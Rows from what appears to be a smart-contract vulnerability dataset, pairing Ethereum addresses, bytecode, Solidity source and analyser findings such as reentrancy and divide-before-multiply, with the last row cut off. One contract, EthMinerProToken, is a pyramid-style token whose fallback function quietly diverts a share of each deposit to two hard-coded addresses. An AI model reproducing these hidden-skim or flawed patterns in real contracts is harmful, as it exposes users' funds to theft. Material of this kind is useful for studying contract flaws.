04bf57600080fd5b506101fc6104ce366004611b31565b610908565b3480156104df57600080fd5b506101fc6104ee366004611b4a565b610937565b3480156104ff57600080fd5b5061026461050e366004611a7c565b610975565b34801561051f57600080fd5b5061026461052e366004611ae9565b60106020526000908152604090205460ff1681565b34801561054f57600080fd5b506101fc610982565b34801561056457600080fd5b506101fc610573366004611b7c565b6109d6565b34801561058457600080fd5b506102c3610593366004611c00565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105ca57600080fd5b506101fc6105d9366004611b31565b610a77565b3480156105ea57600080fd5b506101fc6105f9366004611ae9565b610aa6565b6000546001600160a01b031633146106315760405162461bcd60e51b815260040161062890611c39565b60405180910390fd5b60005b81518110156106995760016010600084848151811061065557610655611c6e565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069181611c9a565b915050610634565b5050565b60006106aa338484610b90565b5060015b92915050565b60006106c1848484610cb4565b610713843361070e85604051806060016040528060288152602001611db4602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111f0565b610b90565b5060019392505050565b6000546001600160a01b031633146107475760405162461bcd60e51b815260040161062890611c39565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107925760405162461bcd60e51b815260040161062890611c39565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107e557506013546001600160a01b0316336001600160a01b0316145b6107ee57600080fd5b476107f88161122a565b50565b6001600160a01b0381166000908152600260205260408120546106ae90611264565b6000546001600160a01b031633146108475760405162461bcd60e51b815260040161062890611c39565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108bb5760405162461bcd60e51b815260040161062890611c39565b601655565b6000546001600160a01b031633146108ea5760405162461bcd60e51b815260040161062890611c39565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109325760405162461bcd60e51b815260040161062890611c39565b601855565b6000546001600160a01b031633146109615760405162461bcd60e51b815260040161062890611c39565b600893909355600a91909155600955600b55565b60006106aa338484610cb4565b6012546001600160a01b0316336001600160a01b031614806109b757506013546001600160a01b0316336001600160a01b0316145b6109c057600080fd5b60006109cb306107fb565b90506107f8816112e8565b6000546001600160a01b03163314610a005760405162461bcd60e51b815260040161062890611c39565b60005b82811015610a71578160056000868685818110610a2257610a22611c6e565b9050602002016020810190610a379190611ae9565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6981611c9a565b915050610a03565b50505050565b6000546001600160a01b03163314610aa15760405162461bcd60e51b815260040161062890611c39565b601755565b6000546001600160a01b03163314610ad05760405162461bcd60e51b815260040161062890611c39565b6001600160a01b038116610b355760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610628565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bf25760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610628565b6001600160a01b038216610c535760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610628565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d185760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610628565b6001600160a01b038216610d7a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610628565b60008111610ddc5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610628565b6000546001600160a01b03848116911614801590610e0857506000546001600160a01b03838116911614155b156110e957601554600160a01b900460ff16610ea1576000546001600160a01b03848116911614610ea15760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610628565b601654811115610ef35760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610628565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3557506001600160a01b03821660009081526010602052604090205460ff16155b610f8d5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610628565b6015546001600160a01b038381169116146110125760175481610faf846107fb565b610fb99190611cb5565b106110125760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610628565b600061101d306107fb565b6018546016549192508210159082106110365760165491505b80801561104d5750601554600160a81b900460ff16155b801561106757506015546001600160a01b03868116911614155b801561107c5750601554600160b01b900460ff165b80156110a157506001600160a01b03851660009081526005602052604090205460ff16155b80156110c657506001600160a01b03841660009081526005602052604090205460ff16155b156110e6576110d4826112e8565b4780156110e4576110e44761122a565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061112b57506001600160a01b03831660009081526005602052604090205460ff165b8061115d57506015546001600160a01b0385811691161480159061115d57506015546001600160a01b03848116911614155b1561116a575060006111e4565b6015546001600160a01b03858116911614801561119557506014546001600160a01b03848116911614155b156111a757600854600c55600954600d555b6015546001600160a01b0384811691161480156111d257506014546001600160a01b03858116911614155b156111e457600a54600c55600b54600d555b610a7184848484611471565b600081848411156112145760405162461bcd60e51b81526004016106289190611a27565b5060006112218486611ccd565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610699573d6000803e3d6000fd5b60006006548211156112cb5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610628565b60006112d561149f565b90506112e183826114c2565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061133057611330611c6e565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561138457600080fd5b505afa158015611398573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113bc9190611ce4565b816001815181106113cf576113cf611c6e565b6001600160a01b0392831660209182029290920101526014546113f59130911684610b90565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac9479061142e908590600090869030904290600401611d01565b600060405180830381600087803b15801561144857600080fd5b505af115801561145c573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061147e5761147e611504565b611489848484611532565b80610a7157610a71600e54600c55600f54600d55565b60008060006114ac611629565b90925090506114bb82826114c2565b9250505090565b60006112e183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611669565b600c541580156115145750600d54155b1561151b57565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061154487611697565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061157690876116f4565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115a59086611736565b6001600160a01b0389166000908152600260205260409020556115c781611795565b6115d184836117df565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161161691815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061164482826114c2565b82101561166057505060065492670de0b6b3a764000092509050565b90939092509050565b6000818361168a5760405162461bcd60e51b81526004016106289190611a27565b5060006112218486611d72565b60008060008060008060008060006116b48a600c54600d54611803565b92509250925060006116c461149f565b905060008060006116d78e878787611858565b919e509c509a509598509396509194505050505091939550919395565b60006112e183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111f0565b6000806117438385611cb5565b9050838110156112e15760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610628565b600061179f61149f565b905060006117ad83836118a8565b306000908152600260205260409020549091506117ca9082611736565b30600090815260026020526040902055505050565b6006546117ec90836116f4565b6006556007546117fc9082611736565b6007555050565b600080808061181d606461181789896118a8565b906114c2565b9050600061183060646118178a896118a8565b90506000611848826118428b866116f4565b906116f4565b9992985090965090945050505050565b600080808061186788866118a8565b9050600061187588876118a8565b9050600061188388886118a8565b905060006118958261184286866116f4565b939b939a50919850919650505050505050565b6000826118b7575060006106ae565b60006118c38385611d94565b9050826118d08583611d72565b146112e15760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610628565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f857600080fd5b803561195d8161193d565b919050565b6000602080838503121561197557600080fd5b823567ffffffffffffffff8082111561198d57600080fd5b818501915085601f8301126119a157600080fd5b8135818111156119b3576119b3611927565b8060051b604051601f19603f830116810181811085821117156119d8576119d8611927565b6040529182528482019250838101850191888311156119f657600080fd5b938501935b82851015611a1b57611a0c85611952565b845293850193928501926119fb565b98975050505050505050565b600060208083528351808285015260005b81811015611a5457858101830151858201604001528201611a38565b81811115611a66576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a8f57600080fd5b8235611a9a8161193d565b946020939093013593505050565b600080600060608486031215611abd57600080fd5b8335611ac88161193d565b92506020840135611ad88161193d565b929592945050506040919091013590565b600060208284031215611afb57600080fd5b81356112e18161193d565b8035801515811461195d57600080fd5b600060208284031215611b2857600080fd5b6112e182611b06565b600060208284031215611b4357600080fd5b5035919050565b60008060008060808587031215611b6057600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b9157600080fd5b833567ffffffffffffffff80821115611ba957600080fd5b818601915086601f830112611bbd57600080fd5b813581811115611bcc57600080fd5b8760208260051b8501011115611be157600080fd5b602092830195509350611bf79186019050611b06565b90509250925092565b60008060408385031215611c1357600080fd5b8235611c1e8161193d565b91506020830135611c2e8161193d565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611cae57611cae611c84565b5060010190565b60008219821115611cc857611cc8611c84565b500190565b600082821015611cdf57611cdf611c84565b500390565b600060208284031215611cf657600080fd5b81516112e18161193d565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d515784516001600160a01b031683529383019391830191600101611d2c565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d8f57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611dae57611dae611c84565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220903814ff858fb76433ee4281043283d798eae87aa5b65ce755d7a6670c60460464736f6c63430008090033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}} | 883 |
0x24100d245d6d52d535ab2cb544565b19baf5465b | pragma solidity ^0.4.25;
/*
* http://eth-miner.pro
*
* Crypto miner token Pro concept
*
* [✓] 25% Withdraw fee
* [✓] 15% Deposit fee
* [✓] 1% Token transfer
* [✓] 30% Referral link
*
*/
contract EthMinerProToken {
modifier onlyBagholders {
require(myTokens() > 0);
_;
}
modifier onlyStronghands {
require(myDividends(true) > 0);
_;
}
event onTokenPurchase(
address indexed customerAddress,
uint256 incomingEthereum,
uint256 tokensMinted,
address indexed referredBy,
uint timestamp,
uint256 price
);
event onTokenSell(
address indexed customerAddress,
uint256 tokensBurned,
uint256 ethereumEarned,
uint timestamp,
uint256 price
);
event onReinvestment(
address indexed customerAddress,
uint256 ethereumReinvested,
uint256 tokensMinted
);
event onWithdraw(
address indexed customerAddress,
uint256 ethereumWithdrawn
);
event Transfer(
address indexed from,
address indexed to,
uint256 tokens
);
string public name = "EthMinerProToken";
string public symbol = "EMT";
uint8 constant public decimals = 18;
address add1 = 0xf29d31ad2714cd6575931b3692b23ff96569476b;
address add2 = 0xC558895aE123BB02b3c33164FdeC34E9Fb66B660;
uint8 constant internal entryFee_ = 15;
uint8 constant internal transferFee_ = 1;
uint8 constant internal exitFee_ = 25;
uint8 constant internal refferalFee_ = 0;
uint8 constant internal dev = 10;
uint256 constant internal tokenPriceInitial_ = 0.0000001 ether;
uint256 constant internal tokenPriceIncremental_ = 0.00000001 ether;
uint256 constant internal magnitude = 2 ** 64;
uint256 public stakingRequirement = 50e18;
mapping(address => uint256) internal tokenBalanceLedger_;
mapping(address => uint256) internal referralBalance_;
mapping(address => int256) internal payoutsTo_;
uint256 internal tokenSupply_;
uint256 internal profitPerShare_;
mapping (address => uint256) balances;
mapping (address => uint256) timestamp;
function buy(address _referredBy) public payable returns (uint256) {
purchaseTokens(msg.value, _referredBy);
}
function() payable public {
purchaseTokens(msg.value, 0x0);
uint256 getmsgvalue = msg.value / 20;
add1.transfer(getmsgvalue);
add2.transfer(getmsgvalue);
}
function reinvest() onlyStronghands public {
uint256 _dividends = myDividends(false);
address _customerAddress = msg.sender;
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
uint256 _tokens = purchaseTokens(_dividends, 0x0);
emit onReinvestment(_customerAddress, _dividends, _tokens);
}
function exit() public {
address _customerAddress = msg.sender;
uint256 _tokens = tokenBalanceLedger_[_customerAddress];
if (_tokens > 0) sell(_tokens);
withdraw();
}
function withdraw() onlyStronghands public {
address _customerAddress = msg.sender;
uint256 _dividends = myDividends(false);
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
_customerAddress.transfer(_dividends);
emit onWithdraw(_customerAddress, _dividends);
}
function sell(uint256 _amountOfTokens) onlyBagholders public {
address _customerAddress = msg.sender;
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
uint256 _tokens = _amountOfTokens;
uint256 _ethereum = tokensToEthereum_(_tokens);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens);
int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude));
payoutsTo_[_customerAddress] -= _updatedPayouts;
if (tokenSupply_ > 0) {
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
}
emit onTokenSell(_customerAddress, _tokens, _taxedEthereum, now, buyPrice());
}
function transfer(address _toAddress, uint256 _amountOfTokens) onlyBagholders public returns (bool) {
address _customerAddress = msg.sender;
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
if (myDividends(true) > 0) {
withdraw();
}
uint256 _tokenFee = SafeMath.div(SafeMath.mul(_amountOfTokens, transferFee_), 100);
uint256 _taxedTokens = SafeMath.sub(_amountOfTokens, _tokenFee);
uint256 _dividends = tokensToEthereum_(_tokenFee);
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokenFee);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _taxedTokens);
payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens);
payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _taxedTokens);
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
emit Transfer(_customerAddress, _toAddress, _taxedTokens);
return true;
}
function totalEthereumBalance() public view returns (uint256) {
return this.balance;
}
function totalSupply() public view returns (uint256) {
return tokenSupply_;
}
function myTokens() public view returns (uint256) {
address _customerAddress = msg.sender;
return balanceOf(_customerAddress);
}
function myDividends(bool _includeReferralBonus) public view returns (uint256) {
address _customerAddress = msg.sender;
return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ;
}
function balanceOf(address _customerAddress) public view returns (uint256) {
return tokenBalanceLedger_[_customerAddress];
}
function dividendsOf(address _customerAddress) public view returns (uint256) {
return (uint256) ((int256) (profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude;
}
function sellPrice() public view returns (uint256) {
// our calculation relies on the token supply, so we need supply. Doh.
if (tokenSupply_ == 0) {
return tokenPriceInitial_ - tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
}
function buyPrice() public view returns (uint256) {
if (tokenSupply_ == 0) {
return tokenPriceInitial_ + tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, entryFee_), 100);
uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends);
return _taxedEthereum;
}
}
function calculateTokensReceived(uint256 _ethereumToSpend) public view returns (uint256) {
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereumToSpend, entryFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
return _amountOfTokens;
}
function calculateEthereumReceived(uint256 _tokensToSell) public view returns (uint256) {
require(_tokensToSell <= tokenSupply_);
uint256 _ethereum = tokensToEthereum_(_tokensToSell);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
function purchaseTokens(uint256 _incomingEthereum, address _referredBy) internal returns (uint256) {
address _customerAddress = msg.sender;
uint256 _undividedDividends = SafeMath.div(SafeMath.mul(_incomingEthereum, entryFee_), 100);
uint256 _referralBonus = SafeMath.div(SafeMath.mul(_undividedDividends, refferalFee_), 100);
uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus);
uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, _undividedDividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
uint256 _fee = _dividends * magnitude;
require(_amountOfTokens > 0 && SafeMath.add(_amountOfTokens, tokenSupply_) > tokenSupply_);
if (
_referredBy != 0x0000000000000000000000000000000000000000 &&
_referredBy != _customerAddress &&
tokenBalanceLedger_[_referredBy] >= stakingRequirement
) {
referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus);
} else {
_dividends = SafeMath.add(_dividends, _referralBonus);
_fee = _dividends * magnitude;
}
if (tokenSupply_ > 0) {
tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens);
profitPerShare_ += (_dividends * magnitude / tokenSupply_);
_fee = _fee - (_fee - (_amountOfTokens * (_dividends * magnitude / tokenSupply_)));
} else {
tokenSupply_ = _amountOfTokens;
}
tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
int256 _updatedPayouts = (int256) (profitPerShare_ * _amountOfTokens - _fee);
payoutsTo_[_customerAddress] += _updatedPayouts;
emit onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy, now, buyPrice());
return _amountOfTokens;
}
function ethereumToTokens_(uint256 _ethereum) internal view returns (uint256) {
uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18;
uint256 _tokensReceived =
(
(
SafeMath.sub(
(sqrt
(
(_tokenPriceInitial ** 2)
+
(2 * (tokenPriceIncremental_ * 1e18) * (_ethereum * 1e18))
+
((tokenPriceIncremental_ ** 2) * (tokenSupply_ ** 2))
+
(2 * tokenPriceIncremental_ * _tokenPriceInitial*tokenSupply_)
)
), _tokenPriceInitial
)
) / (tokenPriceIncremental_)
) - (tokenSupply_);
return _tokensReceived;
}
function tokensToEthereum_(uint256 _tokens) internal view returns (uint256) {
uint256 tokens_ = (_tokens + 1e18);
uint256 _tokenSupply = (tokenSupply_ + 1e18);
uint256 _etherReceived =
(
SafeMath.sub(
(
(
(
tokenPriceInitial_ + (tokenPriceIncremental_ * (_tokenSupply / 1e18))
) - tokenPriceIncremental_
) * (tokens_ - 1e18)
), (tokenPriceIncremental_ * ((tokens_ ** 2 - tokens_) / 1e18)) / 2
)
/ 1e18);
return _etherReceived;
}
function sqrt(uint256 x) internal pure returns (uint256 y) {
uint256 z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | 0x6080604052600436106101105763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166265318b811461019b57806306fdde03146101ce57806310d0ffdd1461025857806318160ddd146102705780632260937314610285578063313ce5671461029d5780633ccfd60b146102c85780634b750334146102df57806356d399e8146102f4578063688abbf7146103095780636b2f46321461032357806370a08231146103385780638620410b14610359578063949e8acd1461036e57806395d89b4114610383578063a9059cbb14610398578063e4849b32146103d0578063e9fad8ee146103e8578063f088d547146103fd578063fdb5a03e14610411575b600061011d346000610426565b50506002546040516014340491600160a060020a0316906108fc8315029083906000818181858888f1935050505015801561015c573d6000803e3d6000fd5b50600354604051600160a060020a039091169082156108fc029083906000818181858888f19350505050158015610197573d6000803e3d6000fd5b5050005b3480156101a757600080fd5b506101bc600160a060020a0360043516610689565b60408051918252519081900360200190f35b3480156101da57600080fd5b506101e36106c4565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561021d578181015183820152602001610205565b50505050905090810190601f16801561024a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561026457600080fd5b506101bc600435610752565b34801561027c57600080fd5b506101bc610785565b34801561029157600080fd5b506101bc60043561078b565b3480156102a957600080fd5b506102b26107c7565b6040805160ff9092168252519081900360200190f35b3480156102d457600080fd5b506102dd6107cc565b005b3480156102eb57600080fd5b506101bc61089f565b34801561030057600080fd5b506101bc6108f6565b34801561031557600080fd5b506101bc60043515156108fc565b34801561032f57600080fd5b506101bc61093f565b34801561034457600080fd5b506101bc600160a060020a0360043516610944565b34801561036557600080fd5b506101bc61095f565b34801561037a57600080fd5b506101bc6109aa565b34801561038f57600080fd5b506101e36109bc565b3480156103a457600080fd5b506103bc600160a060020a0360043516602435610a16565b604080519115158252519081900360200190f35b3480156103dc57600080fd5b506102dd600435610bb9565b3480156103f457600080fd5b506102dd610d25565b6101bc600160a060020a0360043516610d52565b34801561041d57600080fd5b506102dd610d5e565b6000338180808080808061044561043e8c600f610e14565b6064610e4a565b965061045561043e886000610e14565b95506104618787610e61565b945061046d8b88610e61565b935061047884610e73565b925068010000000000000000850291506000831180156104a257506008546104a08482610f0b565b115b15156104ad57600080fd5b600160a060020a038a16158015906104d7575087600160a060020a03168a600160a060020a031614155b80156104fd5750600454600160a060020a038b1660009081526005602052604090205410155b1561054357600160a060020a038a166000908152600660205260409020546105259087610f0b565b600160a060020a038b1660009081526006602052604090205561055e565b61054d8587610f0b565b945068010000000000000000850291505b600060085411156105c25761057560085484610f0b565b600881905568010000000000000000860281151561058f57fe5b600980549290910490910190556008546801000000000000000086028115156105b457fe5b0483028203820391506105c8565b60088390555b600160a060020a0388166000908152600560205260409020546105eb9084610f0b565b600160a060020a03808a166000818152600560209081526040808320959095556009546007909152939020805493870286900393840190559192508b16907f8032875b28d82ddbd303a9e4e5529d047a14ecb6290f80012a81b7e6227ff1ab8d864261065561095f565b604080519485526020850193909352838301919091526060830152519081900360800190a350909998505050505050505050565b600160a060020a0316600090815260076020908152604080832054600590925290912054600954680100000000000000009102919091030490565b6000805460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561074a5780601f1061071f5761010080835404028352916020019161074a565b820191906000526020600020905b81548152906001019060200180831161072d57829003601f168201915b505050505081565b600080808061076561043e86600f610e14565b92506107718584610e61565b915061077c82610e73565b95945050505050565b60085490565b60008060008060085485111515156107a257600080fd5b6107ab85610f1a565b92506107bb61043e846019610e14565b915061077c8383610e61565b601281565b60008060006107db60016108fc565b116107e557600080fd5b3391506107f260006108fc565b600160a060020a038316600081815260076020908152604080832080546801000000000000000087020190556006909152808220805490839055905193019350909183156108fc0291849190818181858888f1935050505015801561085b573d6000803e3d6000fd5b50604080518281529051600160a060020a038416917fccad973dcd043c7d680389db4378bd6b9775db7124092e9e0422c9e46d7985dc919081900360200190a25050565b600080600080600854600014156108bd576414f46b040093506108f0565b6108ce670de0b6b3a7640000610f1a565b92506108de61043e846019610e14565b91506108ea8383610e61565b90508093505b50505090565b60045481565b600033826109125761090d81610689565b610936565b600160a060020a03811660009081526006602052604090205461093482610689565b015b91505b50919050565b303190565b600160a060020a031660009081526005602052604090205490565b6000806000806008546000141561097d5764199c82cc0093506108f0565b61098e670de0b6b3a7640000610f1a565b925061099e61043e84600f610e14565b91506108ea8383610f0b565b6000336109b681610944565b91505090565b60018054604080516020600284861615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561074a5780601f1061071f5761010080835404028352916020019161074a565b600080600080600080610a276109aa565b11610a3157600080fd5b33600081815260056020526040902054909450861115610a5057600080fd5b6000610a5c60016108fc565b1115610a6a57610a6a6107cc565b610a7861043e876001610e14565b9250610a848684610e61565b9150610a8f83610f1a565b9050610a9d60085484610e61565b600855600160a060020a038416600090815260056020526040902054610ac39087610e61565b600160a060020a038086166000908152600560205260408082209390935590891681522054610af29083610f0b565b600160a060020a0388811660008181526005602090815260408083209590955560098054948a16835260079091528482208054948c02909403909355825491815292909220805492850290920190915554600854610b669190680100000000000000008402811515610b6057fe5b04610f0b565b600955604080518381529051600160a060020a03808a1692908716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35060019695505050505050565b6000806000806000806000610bcc6109aa565b11610bd657600080fd5b33600081815260056020526040902054909650871115610bf557600080fd5b869450610c0185610f1a565b9350610c1161043e856019610e14565b9250610c1d8484610e61565b9150610c2b60085486610e61565b600855600160a060020a038616600090815260056020526040902054610c519086610e61565b600160a060020a03871660009081526005602090815260408083209390935560095460079091529181208054928802680100000000000000008602019283900390556008549192501015610cc157610cbd600954600854680100000000000000008602811515610b6057fe5b6009555b85600160a060020a03167f8d3a0130073dbd54ab6ac632c05946df540553d3b514c9f8165b4ab7f2b1805e868442610cf761095f565b604080519485526020850193909352838301919091526060830152519081900360800190a250505050505050565b3360008181526005602052604081205490811115610d4657610d4681610bb9565b610d4e6107cc565b5050565b60006109393483610426565b600080600080610d6e60016108fc565b11610d7857600080fd5b610d8260006108fc565b33600081815260076020908152604080832080546801000000000000000087020190556006909152812080549082905590920194509250610dc4908490610426565b905081600160a060020a03167fbe339fc14b041c2b0e0f3dd2cd325d0c3668b78378001e53160eab36153264588483604051808381526020018281526020019250505060405180910390a2505050565b600080831515610e275760009150610e43565b50828202828482811515610e3757fe5b0414610e3f57fe5b8091505b5092915050565b6000808284811515610e5857fe5b04949350505050565b600082821115610e6d57fe5b50900390565b6008546000906c01431e0fae6d7217caa00000009082906402540be400610ef8610ef2730380d4bd8a8678c1bb542c80deb4800000000000880268056bc75e2d631000006002860a02017005e0a1fd2712875988becaad0000000000850201780197d4df19d605767337e9f14d3eec8920e40000000000000001610f86565b85610e61565b811515610f0157fe5b0403949350505050565b600082820183811015610e3f57fe5b600854600090670de0b6b3a7640000838101918101908390610f736414f46b04008285046402540be40002018702600283670de0b6b3a763ffff1982890a8b900301046402540be40002811515610f6d57fe5b04610e61565b811515610f7c57fe5b0495945050505050565b80600260018201045b81811015610939578091506002818285811515610fa857fe5b0401811515610fb357fe5b049050610f8f5600a165627a7a72305820a7a4e1196b7d62859a90a7494dc37090ca2d05a7e59e7c7063968cfb2f89f23d0029 | {"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}} | 884 |
0x6a844e11364757535411760c319f352b7cf8e1e0 | /**
*Submitted for verification at Etherscan.io on 2021-04-29
*/
/**
*Submitted for verification at Etherscan.io on 2021-04-10
*/
/**
*Submitted for verification at BscScan.com on 2021-03-08
*/
/**
*Submitted for verification at Etherscan.io on 2020-10-09
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.2;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
